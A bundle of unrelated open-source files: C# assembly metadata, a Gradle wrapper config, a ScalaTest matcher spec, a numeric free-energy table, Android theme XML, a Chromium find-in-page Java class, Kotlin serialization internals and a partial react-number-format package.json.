+ (NSString *)contentTypeForImageData:(NSData *)data __deprecated_msg("Use `sd_contentTypeForImageData:`");
@end
| {
"pile_set_name": "Github"
} |
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Capture.Workflow")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Capture.Workflow")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
//In order to begin building localizable applications, set
//<UICulture>CultureYouAreCodingWith</UICulture> in your .csproj file
//inside a <PropertyGroup>. For example, if you are using US english
//in your source files, set the <UICulture> to en-US. Then uncomment
//the NeutralResourceLanguage attribute below. Update the "en-US" in
//the line below to match the UICulture setting in the project file.
//[assembly: NeutralResourcesLanguage("en-US", UltimateResourceFallbackLocation.Satellite)]
[assembly: ThemeInfo(
ResourceDictionaryLocation.None, //where theme specific resource dictionaries are located
//(used if a resource is not found in the page,
// or application resource dictionaries)
ResourceDictionaryLocation.SourceAssembly //where the generic resource dictionary is located
//(used if a resource is not found in the page,
// app, or any theme specific resource dictionaries)
)]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("0.1.0.9")]
[assembly: AssemblyFileVersion("0.1.0.9")]
| {
"pile_set_name": "Github"
} |
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-all.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2001-2013 Artima, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.scalatest
import org.scalactic.Equality
import org.scalactic.Explicitly
import org.scalactic.StringNormalizations._
import org.scalactic.Uniformity
import org.scalactic.Prettifier
import collection.GenTraversable
import SharedHelpers._
import org.scalactic.ArrayHelper.deep
import org.scalatest.funspec.AnyFunSpec
import org.scalatest.matchers.should.Matchers._
class OnlyContainMatcherDeciderSpec extends AnyFunSpec with Explicitly {
private val prettifier = Prettifier.default
val mapTrimmed: Uniformity[(Int, String)] =
new Uniformity[(Int, String)] {
def normalized(s: (Int, String)): (Int, String) = (s._1, s._2.trim)
def normalizedCanHandle(b: Any) =
b match {
case (_: Int, _: String) => true
case _ => false
}
def normalizedOrSame(b: Any) =
b match {
case (k: Int, v: String) => normalized((k, v))
case _ => b
}
}
// SKIP-SCALATESTJS,NATIVE-START
val javaMapTrimmed: Uniformity[java.util.Map.Entry[Int, String]] =
new Uniformity[java.util.Map.Entry[Int, String]] {
def normalized(s: java.util.Map.Entry[Int, String]): java.util.Map.Entry[Int, String] = Entry(s.getKey, s.getValue.trim)
def normalizedCanHandle(b: Any) =
b match {
case entry: java.util.Map.Entry[_, _] =>
(entry.getKey, entry.getValue) match {
case (_: Int, _: String) => true
case _ => false
}
case _ => false
}
def normalizedOrSame(b: Any) =
b match {
case entry: java.util.Map.Entry[_, _] =>
(entry.getKey, entry.getValue) match {
case (k: Int, v: String) => normalized(Entry(k, v))
case _ => b
}
case _ => b
}
}
// SKIP-SCALATESTJS,NATIVE-END
val incremented: Uniformity[Int] =
new Uniformity[Int] {
var count = 0
def normalized(s: Int): Int = {
count += 1
s + count
}
def normalizedCanHandle(b: Any): Boolean = b.isInstanceOf[Int]
def normalizedOrSame(b: Any) =
b match {
case i: Int => normalized(i)
case _ => b
}
}
val mapIncremented: Uniformity[(Int, String)] =
new Uniformity[(Int, String)] {
var count = 0
def normalized(s: (Int, String)): (Int, String) = {
count += 1
(s._1 + count, s._2)
}
def normalizedCanHandle(b: Any) =
b match {
case (_: Int, _: String) => true
case _ => false
}
def normalizedOrSame(b: Any) =
b match {
case (k: Int, v: String) => normalized((k, v))
case _ => b
}
}
val appended: Uniformity[String] =
new Uniformity[String] {
var count = 0
def normalized(s: String): String = {
count += 1
s + count
}
def normalizedCanHandle(b: Any): Boolean = b.isInstanceOf[String]
def normalizedOrSame(b: Any) =
b match {
case s: String => normalized(s)
case _ => b
}
}
val mapAppended: Uniformity[(Int, String)] =
new Uniformity[(Int, String)] {
var count = 0
def normalized(s: (Int, String)): (Int, String) = {
count += 1
(s._1, s._2 + count)
}
def normalizedCanHandle(b: Any) =
b match {
case (_: Int, _: String) => true
case _ => false
}
def normalizedOrSame(b: Any) =
b match {
case (k: Int, v: String) => normalized((k, v))
case _ => b
}
}
// SKIP-SCALATESTJS,NATIVE-START
val javaMapAppended: Uniformity[java.util.Map.Entry[Int, String]] =
new Uniformity[java.util.Map.Entry[Int, String]] {
var count = 0
def normalized(s: java.util.Map.Entry[Int, String]): java.util.Map.Entry[Int, String] = {
count += 1
Entry(s.getKey, s.getValue + count)
}
def normalizedCanHandle(b: Any) =
b match {
case entry: java.util.Map.Entry[_, _] =>
(entry.getKey, entry.getValue) match {
case (_: Int, _: String) => true
case _ => false
}
case _ => false
}
def normalizedOrSame(b: Any) =
b match {
case entry: java.util.Map.Entry[_, _] =>
(entry.getKey, entry.getValue) match {
case (k: Int, v: String) => normalized(Entry(k, v))
case _ => b
}
case _ => b
}
}
// SKIP-SCALATESTJS,NATIVE-END
val lowerCaseEquality =
new Equality[String] {
def areEqual(left: String, right: Any) =
left.toLowerCase == (right match {
case s: String => s.toLowerCase
case other => other
})
}
val mapLowerCaseEquality =
new Equality[(Int, String)] {
def areEqual(left: (Int, String), right: Any) =
right match {
case t2: Tuple2[_, _] =>
left._1 == t2._1 &&
left._2.toLowerCase == (t2._2 match {
case s: String => s.toLowerCase
case other => other
})
case right => left == right
}
}
// SKIP-SCALATESTJS,NATIVE-START
val javaMapLowerCaseEquality =
new Equality[java.util.Map.Entry[Int, String]] {
def areEqual(left: java.util.Map.Entry[Int, String], right: Any) =
right match {
case entry: java.util.Map.Entry[_, _] =>
left.getKey == entry.getKey &&
left.getValue.toLowerCase == (entry.getValue match {
case s: String => s.toLowerCase
case other => other
})
case right => left == right
}
}
// SKIP-SCALATESTJS,NATIVE-END
val reverseEquality =
new Equality[String] {
def areEqual(left: String, right: Any) =
left.reverse == (right match {
case s: String => s.toLowerCase
case other => other
})
}
val mapReverseEquality =
new Equality[(Int, String)] {
def areEqual(left: (Int, String), right: Any) =
right match {
case t2: Tuple2[_, _] =>
left._1 == t2._1 &&
left._2.reverse == (t2._2 match {
case s: String => s.toLowerCase
case other => other
})
case right => left == right
}
}
// SKIP-SCALATESTJS,NATIVE-START
val javaMapReverseEquality =
new Equality[java.util.Map.Entry[Int, String]] {
def areEqual(left: java.util.Map.Entry[Int, String], right: Any) =
right match {
case entry: java.util.Map.Entry[_, _] =>
left.getKey == entry.getKey &&
left.getValue.reverse == (entry.getValue match {
case s: String => s.toLowerCase
case other => other
})
case right => left == right
}
}
// SKIP-SCALATESTJS,NATIVE-END
describe("only ") {
def checkShouldContainStackDepth(e: exceptions.StackDepthException, left: Any, right: GenTraversable[Any], lineNumber: Int): Unit = {
val leftText = FailureMessages.decorateToStringValue(prettifier, left)
e.message should be (Some(leftText + " did not contain only (" + right.map(r => FailureMessages.decorateToStringValue(prettifier, r)).mkString(", ") + ")"))
e.failedCodeFileName should be (Some("OnlyContainMatcherDeciderSpec.scala"))
e.failedCodeLineNumber should be (Some(lineNumber))
}
def checkShouldNotContainStackDepth(e: exceptions.StackDepthException, left: Any, right: GenTraversable[Any], lineNumber: Int): Unit = {
val leftText = FailureMessages.decorateToStringValue(prettifier, left)
e.message should be (Some(leftText + " contained only (" + right.map(r => FailureMessages.decorateToStringValue(prettifier, r)).mkString(", ") + ")"))
e.failedCodeFileName should be (Some("OnlyContainMatcherDeciderSpec.scala"))
e.failedCodeLineNumber should be (Some(lineNumber))
}
it("should take specified normalization when 'should contain' is used") {
(List("1", " 2", "3") should contain only (" 1", "2 ", " 3")) (after being trimmed)
(Set("1", " 2", "3") should contain only (" 1", "2 ", " 3")) (after being trimmed)
(Array("1", " 2", "3") should contain only (" 1", "2 ", " 3")) (after being trimmed)
(Map(1 -> "one", 2 -> " two", 3 -> "three") should contain only (1 -> " one", 2 -> "two ", 3 -> " three")) (after being mapTrimmed)
// SKIP-SCALATESTJS,NATIVE-START
(javaList("1", " 2", "3") should contain only (" 1", "2 ", " 3")) (after being trimmed)
(javaSet("1", " 2", "3") should contain only (" 1", "2 ", " 3")) (after being trimmed)
(javaMap(Entry(1, "one"), Entry(2, " two"), Entry(3, "three")) should contain only (Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))) (after being javaMapTrimmed)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should take specified normalization when 'should not contain' is used") {
(List("1", "2", "3") should not contain only ("1", "2", "3")) (after being appended)
(Set("1", "2", "3") should not contain only ("1", "2", "3")) (after being appended)
(Array("1", "2", "3") should not contain only ("1", "2", "3")) (after being appended)
(Map(1 -> "one", 2 -> "two", 3 -> "three") should not contain only (1 -> "one", 2 -> "two", 3 -> "three")) (after being mapAppended)
// SKIP-SCALATESTJS,NATIVE-START
(javaList("1", "2", "3") should not contain only ("1", "2", "3")) (after being appended)
(javaSet("1", "2", "3") should not contain only ("1", "2", "3")) (after being appended)
(javaMap(Entry(1, "one"), Entry(2, "two"), Entry(3, "three")) should not contain only (Entry(1, "one"), Entry(2, "two"), Entry(3, "three"))) (after being javaMapAppended)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should throw TestFailedException with correct stack depth and message when 'should contain custom matcher' failed with specified normalization") {
val left1 = List("1", "2", "3")
val e1 = intercept[exceptions.TestFailedException] {
(left1 should contain only ("1", "2", "3")) (after being appended)
}
checkShouldContainStackDepth(e1, left1, deep(Array("1", "2", "3")), thisLineNumber - 2)
val left2 = Set("1", "2", "3")
val e2 = intercept[exceptions.TestFailedException] {
(left2 should contain only ("1", "2", "3")) (after being appended)
}
checkShouldContainStackDepth(e2, left2, deep(Array("1", "2", "3")), thisLineNumber - 2)
val left3 = Array("1", "2", "3")
val e3 = intercept[exceptions.TestFailedException] {
(left3 should contain only ("1", "2", "3")) (after being appended)
}
checkShouldContainStackDepth(e3, left3, deep(Array("1", "2", "3")), thisLineNumber - 2)
val left4 = Map(1 -> "one", 2 -> "two", 3 -> "three")
val e4 = intercept[exceptions.TestFailedException] {
(left4 should contain only (1 -> "one", 2 -> "two", 3 -> "three")) (after being mapAppended)
}
checkShouldContainStackDepth(e4, left4, deep(Array(1 -> "one", 2 -> "two", 3 -> "three")), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-START
val left5 = javaList("1", "2", "3")
val e5 = intercept[exceptions.TestFailedException] {
(left5 should contain only ("1", "2", "3")) (after being appended)
}
checkShouldContainStackDepth(e5, left5, deep(Array("1", "2", "3")), thisLineNumber - 2)
val left6 = javaMap(Entry(1, "one"), Entry(2, "two"), Entry(3, "three"))
val e6 = intercept[exceptions.TestFailedException] {
(left6 should contain only (Entry(1, "one"), Entry(2, "two"), Entry(3, "three"))) (after being javaMapAppended)
}
checkShouldContainStackDepth(e6, left6, deep(Array(Entry(1, "one"), Entry(2, "two"), Entry(3, "three"))), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should throw TestFailedException with correct stack depth and message when 'should not contain custom matcher' failed with specified normalization") {
val left1 = List("1", " 2", "3")
val e1 = intercept[exceptions.TestFailedException] {
(left1 should not contain only (" 1", "2 ", " 3")) (after being trimmed)
}
checkShouldNotContainStackDepth(e1, left1, deep(Array(" 1", "2 ", " 3")), thisLineNumber - 2)
val left2 = Set("1", " 2", "3")
val e2 = intercept[exceptions.TestFailedException] {
(left2 should not contain only (" 1", "2 ", " 3")) (after being trimmed)
}
checkShouldNotContainStackDepth(e2, left2, deep(Array(" 1", "2 ", " 3")), thisLineNumber - 2)
val left3 = Array("1", " 2", "3")
val e3 = intercept[exceptions.TestFailedException] {
(left3 should not contain only (" 1", "2 ", " 3")) (after being trimmed)
}
checkShouldNotContainStackDepth(e3, left3, deep(Array(" 1", "2 ", " 3")), thisLineNumber - 2)
val left4 = Map(1 -> "one", 2 -> " two", 3 -> "three")
val e4 = intercept[exceptions.TestFailedException] {
(left4 should not contain only (1 -> " one", 2 -> "two ", 3 -> " three")) (after being mapTrimmed)
}
checkShouldNotContainStackDepth(e4, left4, deep(Array(1 -> " one", 2 -> "two ", 3 -> " three")), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-START
val left5 = javaList("1", " 2", "3")
val e5 = intercept[exceptions.TestFailedException] {
(left5 should not contain only (" 1", "2 ", " 3")) (after being trimmed)
}
checkShouldNotContainStackDepth(e5, left5, deep(Array(" 1", "2 ", " 3")), thisLineNumber - 2)
val left6 = javaMap(Entry(1, "one"), Entry(2, " two"), Entry(3, "three"))
val e6 = intercept[exceptions.TestFailedException] {
(left6 should not contain only (Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))) (after being javaMapTrimmed)
}
checkShouldNotContainStackDepth(e6, left6, deep(Array(Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should take specified equality and normalization when 'should contain' is used") {
(List("ONE ", " TWO", "THREE ") should contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
(Set("ONE ", " TWO", "THREE ") should contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
(Array("ONE ", " TWO", "THREE ") should contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
(Map(1 -> "ONE ", 2 -> " TWO", 3 -> "THREE ") should contain only (1 -> " one", 2 -> "two ", 3 -> " three")) (decided by mapLowerCaseEquality afterBeing mapTrimmed)
// SKIP-SCALATESTJS,NATIVE-START
(javaList("ONE ", " TWO", "THREE ") should contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
(javaMap(Entry(1, "ONE "), Entry(2, " TWO"), Entry(3, "THREE ")) should contain only (Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))) (decided by javaMapLowerCaseEquality afterBeing javaMapTrimmed)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should take specified equality and normalization when 'should not contain' is used") {
(List("one ", " two", "three ") should not contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
(Set("one ", " two", "three ") should not contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
(Array("one ", " two", "three ") should not contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
(Map(1 -> "one ", 2 -> " two", 3 -> "three ") should not contain only (1 -> " one", 2 -> "two ", 3 -> " three")) (decided by mapReverseEquality afterBeing mapTrimmed)
// SKIP-SCALATESTJS,NATIVE-START
(javaList("one ", " two", "three ") should not contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
(javaMap(Entry(1, "one "), Entry(2, " two"), Entry(3, "three ")) should not contain only (Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))) (decided by javaMapReverseEquality afterBeing javaMapTrimmed)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should throw TestFailedException with correct stack depth and message when 'should contain custom matcher' failed with specified equality and normalization") {
val left1 = List("one ", " two", "three ")
val e1 = intercept[exceptions.TestFailedException] {
(left1 should contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
}
checkShouldContainStackDepth(e1, left1, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left2 = Set("one ", " two", "three ")
val e2 = intercept[exceptions.TestFailedException] {
(left2 should contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
}
checkShouldContainStackDepth(e2, left2, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left3 = Array("one ", " two", "three ")
val e3 = intercept[exceptions.TestFailedException] {
(left3 should contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
}
checkShouldContainStackDepth(e3, left3, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left4 = Map(1 -> "one ", 2 -> " two", 3 -> "three ")
val e4 = intercept[exceptions.TestFailedException] {
(left4 should contain only (1 -> " one", 2 -> "two ", 3 -> " three")) (decided by mapReverseEquality afterBeing mapTrimmed)
}
checkShouldContainStackDepth(e4, left4, deep(Array(1 -> " one", 2 -> "two ", 3 -> " three")), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-START
val left5 = javaList("one ", " two", "three ")
val e5 = intercept[exceptions.TestFailedException] {
(left5 should contain only (" one", "two ", " three")) (decided by reverseEquality afterBeing trimmed)
}
checkShouldContainStackDepth(e5, left5, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left6 = javaMap(Entry(1, "one "), Entry(2, " two"), Entry(3, "three "))
val e6 = intercept[exceptions.TestFailedException] {
(left6 should contain only (Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))) (decided by javaMapReverseEquality afterBeing javaMapTrimmed)
}
checkShouldContainStackDepth(e6, left6, deep(Array(Entry(1, " one"), Entry(2, "two "), Entry(3, " three"))), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-END
}
it("should throw TestFailedException with correct stack depth and message when 'should not contain custom matcher' failed with specified equality and normalization") {
val left1 = List("ONE ", " TWO", "THREE ")
val e1 = intercept[exceptions.TestFailedException] {
(left1 should not contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
}
checkShouldNotContainStackDepth(e1, left1, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left2 = Set("ONE ", " TWO", "THREE ")
val e2 = intercept[exceptions.TestFailedException] {
(left2 should not contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
}
checkShouldNotContainStackDepth(e2, left2, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left3 = Array("ONE ", " TWO", "THREE ")
val e3 = intercept[exceptions.TestFailedException] {
(left3 should not contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
}
checkShouldNotContainStackDepth(e3, left3, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left4 = Map(1 -> "ONE ", 2 -> " TWO", 3 -> "THREE ")
val e4 = intercept[exceptions.TestFailedException] {
(left4 should not contain only (1 -> " one ", 2 -> "two ", 3 -> " three")) (decided by mapLowerCaseEquality afterBeing mapTrimmed)
}
checkShouldNotContainStackDepth(e4, left4, deep(Array(1 -> " one ", 2 -> "two ", 3 -> " three")), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-START
val left5 = javaList("ONE ", " TWO", "THREE ")
val e5 = intercept[exceptions.TestFailedException] {
(left5 should not contain only (" one", "two ", " three")) (decided by lowerCaseEquality afterBeing trimmed)
}
checkShouldNotContainStackDepth(e5, left5, deep(Array(" one", "two ", " three")), thisLineNumber - 2)
val left6 = javaMap(Entry(1, "ONE "), Entry(2, " TWO"), Entry(3, "THREE "))
val e6 = intercept[exceptions.TestFailedException] {
(left6 should not contain only (Entry(1, " one "), Entry(2, "two "), Entry(3, " three"))) (decided by javaMapLowerCaseEquality afterBeing javaMapTrimmed)
}
checkShouldNotContainStackDepth(e6, left6, deep(Array(Entry(1, " one "), Entry(2, "two "), Entry(3, " three"))), thisLineNumber - 2)
// SKIP-SCALATESTJS,NATIVE-END
}
}
}
| {
"pile_set_name": "Github"
} |
#! FIELDS x fA1u dfA1u_x
#! SET normalisation 1.0000
#! SET min_x 0.0
#! SET max_x 3.0
#! SET nbins_x 100
#! SET periodic_x false
0.0000 inf 0.0000
0.0300 inf 0.0000
0.0600 inf 0.0000
0.0900 inf 0.0000
0.1200 inf 0.0000
0.1500 inf 0.0000
0.1800 inf 0.0000
0.2100 inf 0.0000
0.2400 inf 0.0000
0.2700 inf 0.0000
0.3000 inf 0.0000
0.3300 inf 0.0000
0.3600 inf 0.0000
0.3900 inf 0.0000
0.4200 inf 0.0000
0.4500 inf 0.0000
0.4800 inf 0.0000
0.5100 inf 0.0000
0.5400 inf 0.0000
0.5700 inf 0.0000
0.6000 inf 0.0000
0.6300 inf 0.0000
0.6600 inf 0.0000
0.6900 inf 0.0000
0.7200 inf 0.0000
0.7500 inf 0.0000
0.7800 inf 0.0000
0.8100 inf 0.0000
0.8400 inf 0.0000
0.8700 inf 0.0000
0.9000 inf 0.0000
0.9300 inf 0.0000
0.9600 inf 0.0000
0.9900 inf 0.0000
1.0200 inf 0.0000
1.0500 inf 0.0000
1.0800 inf 0.0000
1.1100 inf 0.0000
1.1400 12.7120 -89.7962
1.1700 10.1304 -82.3132
1.2000 7.7732 -74.8302
1.2300 5.6406 -67.3471
1.2600 3.7324 -59.8641
1.2900 2.0487 -52.3811
1.3200 0.5895 -44.8981
1.3500 -0.6452 -37.4151
1.3800 -1.6554 -29.9321
1.4100 -2.4411 -22.4490
1.4400 -3.0023 -14.9660
1.4700 -3.3390 -7.4830
1.5000 -3.4513 0.0000
1.5300 -3.3390 7.4830
1.5600 -3.0023 14.9660
1.5900 -2.4411 22.4490
1.6200 -1.6591 29.7448
1.6500 -0.6619 36.5804
1.6800 0.5153 41.2424
1.7100 1.7321 37.5145
1.7400 2.5499 12.7784
1.7700 2.3649 -23.8282
1.8000 1.3406 -40.4260
1.8300 0.1078 -40.1606
1.8600 -1.0170 -34.4131
1.8900 -1.9422 -27.4377
1.9200 -2.6531 -19.9547
1.9500 -3.1395 -12.4717
1.9800 -3.4014 -4.9887
2.0100 -3.4388 2.4943
2.0400 -3.2517 9.9774
2.0700 -2.8402 17.4604
2.1000 -2.2041 24.9434
2.1300 -1.3436 32.4264
2.1600 -0.2585 39.9094
2.1900 1.0510 47.3924
2.2200 2.5850 54.8754
2.2500 4.3435 62.3585
2.2800 6.3265 69.8415
2.3100 8.5340 77.3245
2.3400 10.9660 84.8075
2.3700 inf 0.0000
2.4000 inf 0.0000
2.4300 inf 0.0000
2.4600 inf 0.0000
2.4900 inf 0.0000
2.5200 inf 0.0000
2.5500 inf 0.0000
2.5800 inf 0.0000
2.6100 inf 0.0000
2.6400 inf 0.0000
2.6700 inf 0.0000
2.7000 inf 0.0000
2.7300 inf 0.0000
2.7600 inf 0.0000
2.7900 inf 0.0000
2.8200 inf 0.0000
2.8500 inf 0.0000
2.8800 inf 0.0000
2.9100 inf 0.0000
2.9400 inf 0.0000
2.9700 inf 0.0000
3.0000 inf 0.0000
| {
"pile_set_name": "Github"
} |
//
// UserNotificationsUI.h
// UserNotificationsUI
//
// Copyright © 2015 Apple. All rights reserved.
//
#import <UserNotificationsUI/UNNotificationContentExtension.h>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources><!-- Base application theme. -->
<!-- Base application theme. -->
<style name="AppTheme" parent="Theme.AppCompat.Light.NoActionBar">
<!-- Customize your theme here. -->
<item name="colorPrimary">@color/myPrimaryColor</item>
<item name="colorPrimaryDark">@color/myPrimaryDarkColor</item>
<item name="colorAccent">@color/myAccentColor</item>
<item name="android:textColorPrimary">@color/myTextPrimaryColor</item>
<item name="drawerArrowStyle">@style/DrawerArrowStyle</item>
<item name="android:windowBackground">@color/myWindowBackground</item>
</style>
<style name="DrawerArrowStyle" parent="Widget.AppCompat.DrawerArrowToggle">
<item name="spinBars">true</item>
<item name="color">#fff</item>
</style>
<style name="ToolBarStyle" parent="">
<item name="popupTheme">@style/ThemeOverlay.AppCompat.Light</item>
<item name="theme">@style/ThemeOverlay.AppCompat.Dark.ActionBar</item>
</style>
</resources>
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.components.find_in_page;
import android.graphics.Rect;
/**
* Java equivalent to the C++ FindNotificationDetails class
* defined in components/find_in_page/find_notification_details.h
*/
public class FindNotificationDetails {
/** How many matches were found. */
public final int numberOfMatches;
/** Where selection occurred (in renderer window coordinates). */
public final Rect rendererSelectionRect;
/**
* The ordinal of the currently selected match.
*
* Might be -1 even with matches in rare edge cases where the active match
* has been removed from DOM by the time the active ordinals are processed.
* This indicates we failed to locate and highlight the active match.
*/
public final int activeMatchOrdinal;
/** Whether this is the last Find Result update for the request. */
public final boolean finalUpdate;
public FindNotificationDetails(int numberOfMatches, Rect rendererSelectionRect,
int activeMatchOrdinal, boolean finalUpdate) {
this.numberOfMatches = numberOfMatches;
this.rendererSelectionRect = rendererSelectionRect;
this.activeMatchOrdinal = activeMatchOrdinal;
this.finalUpdate = finalUpdate;
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2017-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license.
*/
package kotlinx.serialization.internal
import kotlinx.serialization.*
import kotlin.reflect.*
@Suppress("NOTHING_TO_INLINE")
internal actual inline fun <T> Array<T>.getChecked(index: Int): T {
return get(index)
}
@Suppress("NOTHING_TO_INLINE")
internal actual inline fun BooleanArray.getChecked(index: Int): Boolean {
return get(index)
}
internal actual fun KClass<*>.platformSpecificSerializerNotRegistered(): Nothing {
throw SerializationException(
"Serializer for class '${simpleName}' is not found.\n" +
"Mark the class as @Serializable or provide the serializer explicitly.\n" +
"On Kotlin/Native explicitly declared serializer should be used for interfaces and enums without @Serializable annotation"
)
}
@Suppress(
"UNCHECKED_CAST",
"DEPRECATION_ERROR"
)
@OptIn(ExperimentalAssociatedObjects::class)
internal actual fun <T : Any> KClass<T>.constructSerializerForGivenTypeArgs(vararg args: KSerializer<Any?>): KSerializer<T>? =
when (val assocObject = findAssociatedObject<SerializableWith>()) {
is KSerializer<*> -> assocObject as KSerializer<T>
is kotlinx.serialization.internal.SerializerFactory -> assocObject.serializer(*args) as KSerializer<T>
else -> null
}
@Suppress(
"UNCHECKED_CAST",
"DEPRECATION_ERROR"
)
@OptIn(ExperimentalAssociatedObjects::class)
internal actual fun <T : Any> KClass<T>.compiledSerializerImpl(): KSerializer<T>? =
this.constructSerializerForGivenTypeArgs()
internal actual fun <T : Any, E : T?> ArrayList<E>.toNativeArrayImpl(eClass: KClass<T>): Array<E> {
val result = arrayOfAnyNulls<E>(size)
var index = 0
for (element in this) result[index++] = element
@Suppress("UNCHECKED_CAST", "USELESS_CAST")
return result as Array<E>
}
@Suppress("UNCHECKED_CAST")
private fun <T> arrayOfAnyNulls(size: Int): Array<T> = arrayOfNulls<Any>(size) as Array<T>
internal actual fun Any.isInstanceOf(kclass: KClass<*>): Boolean = kclass.isInstance(this)
internal actual fun isReferenceArray(rootClass: KClass<Any>): Boolean = rootClass == Array::class
| {
"pile_set_name": "Github"
} |
{
"name": "react-number-format",
"description": "React component to format number in an input or as a text.",
"version": "4.4.2",
"main": "lib/number_format.js",
"module": "dist/react-number-format.es.js",
"author": "Sudhanshu Yadav",
"license": "MIT",
"types": "typings/number_format.d.ts",
"repository": {
"type": "git",
"url": "https://github.com/s-yadav/react-number-format"
},
"bugs": {
"mail": "[email protected]",
"url": "https://github.com/s-yadav/react-number-format/issues"
},
"keywords": [
"react-component",
"react",
"currency",
"input",
"number",
"number-format",
"mask"
],
"scripts": {
"start": "webpack-dev-server --hot",
"bundle": "cross-env yarn compile && yarn bundle-dist && yarn test-build && yarn test-ts",
"bundle-dist": "cross-env NODE_ENV=production rollup -c rollup.config.js",
"compile": "cross-env NODE_ENV=production babel src --out-dir lib",
"test": "cross-env NODE_ENV=test karma start",
"test-build": "cross-env NODE_ENV=production TEST_BROWSER=ChromeHeadless karma start",
"test-ts": "yarn tsc -p typings",
"lint": "cross-env eslint src/**"
},
"devDependencies": {
"@babel/cli": "^7.6.2",
"@babel/core": "^7.6.2",
"@babel/plugin-proposal-class-properties": "^7.5.5",
"@babel/plugin-proposal-object-rest-spread": "^7.6.2",
"@babel/plugin-transform-flow-strip-types": "^7.4.4",
"@babel/preset-env": "^7.6.2",
"@babel/preset-react": "^7.0.0",
"@babel/register": "^7.6.2",
"@types/react": "^16.9.4",
"babel-eslint": "^10.0.3",
"babel-loader": "^8.0.6",
"babel-plugin-add-module-exports": "^1.0.2",
"babel-plugin-transform-object-assign": "^6.22.0",
"classnames": "^2.2.6",
"cross-env": "^6.0.3",
"enzyme": "^3.10.0",
"enzyme-adapter-react-16": "^1.14.0",
"eslint": "^6.5.1",
"eslint-loader": "^3.0.2",
"eslint-plugin-import": "^2.18.2",
"eslint-plugin-react": "^7.15.1",
"flow-bin": "^0.118.0",
"jasmine": "^2.4.1",
"jasmine-core": "^2.4.1",
"karma": "^4.3.0",
"karma-chrome-launcher": "^3.1.0",
"karma-cli": "^2.0.0",
"karma-jasmine": "^0.3.7",
"karma-jasmine-html-reporter": "^0.2.0",
"karma-rollup-preprocessor": "^7.0.2",
"karma-sourcemap-loader": "^0.3.7",
"karma-spec-reporter": "^0.0.32",
"karma-webpack": "^4.0.2",
"material-ui": "^0.20.2",
"react": "^15.4.0 || ^16.0.0",
"react-dom": "^15.4.0 || ^16.0.0",
"react-router": "5",
"react-transform-hmr": "^1.0.4",
"rollup": "^1.22.0",
"rollup-plugin-babel": "^4.3.3",
